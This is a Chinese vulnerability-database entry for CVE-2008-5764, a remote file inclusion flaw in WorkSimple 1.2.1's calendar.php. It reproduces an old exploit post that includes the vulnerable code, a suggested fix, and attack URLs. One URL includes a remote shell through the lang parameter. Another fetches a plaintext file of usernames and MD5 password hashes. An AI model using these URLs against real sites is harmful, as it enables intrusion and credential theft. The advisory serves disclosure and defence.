WorkSimple 'calender.php'php远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117047 漏洞类型 代码注入
发布时间 2008-12-15 更新时间 2009-01-29
CVE编号 CVE-2008-5764 CNNVD-ID CNNVD-200812-487
漏洞平台 PHP CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/7481
https://cxsecurity.com/issue/WLB-2009010096
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200812-487
|漏洞详情
WorkSimple是一款基于php的blog软件。WorkSimple1.2.1版本的calendar.php中存在PHP远程文件包含漏洞,当register_globals被激活时,远程攻击者可以借助一个lang参数中的一个URL,执行任意PHP代码。
|漏洞EXP
[START]

#########################################################################################
[0x01] Informations:

Script         : WorkSimple 1.2.1
Download       : http://www.hotscripts.com/jump.php?listing_id=85112&jump_type=1
Vulnerability  : Remote File Inclusion / Sensitive Data Disclosure
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay


#########################################################################################
[0x02] Bug:[Remote File Inclusion]
######

Bugged file is: /[path]/calendar.php

[CODE]
<?PHP require 'data/conf.php'; //Include the global config ?>
	<?php include("$lang") ?>
[/CODE]

$lang variable is not declared, I thought it was declared on conf.php, but it's not.
So we can set the $lang value directly from GET.

FIX : Just declare $lang, for example in /[path]/data/conf.php


[!] EXPLOIT: /[path]/calendar.php?lang=[remote_txt_shell]

########################################################################################
[0x03] Bug:[Sensitive Data Disclosure]
######

In this cms, when an user register himself, the cms puts informations like username and
password on a .txt file. So, just going on it, we can get sensitive data like username
and passoword. username:md5_hash


[!] EXPLOIT: /[path]/data/usr.txt

#########################################################################################

[/END]

# milw0rm.com [2008-12-15]
|参考资料

来源:XF
名称:worksimple-calendar-file-include(47361)
链接:http://xforce.iss.net/xforce/xfdb/47361
来源:BID
名称:32849
链接:http://www.securityfocus.com/bid/32849
来源:MILW0RM
名称:7481
链接:http://www.milw0rm.com/exploits/7481
来源:SREASON
名称:4831
链接:http://securityreason.com/securityalert/4831
来源:SECUNIA
名称:33163
链接:http://secunia.com/advisories/33163
来源:OSVDB
名称:50726
链接:http://osvdb.org/50726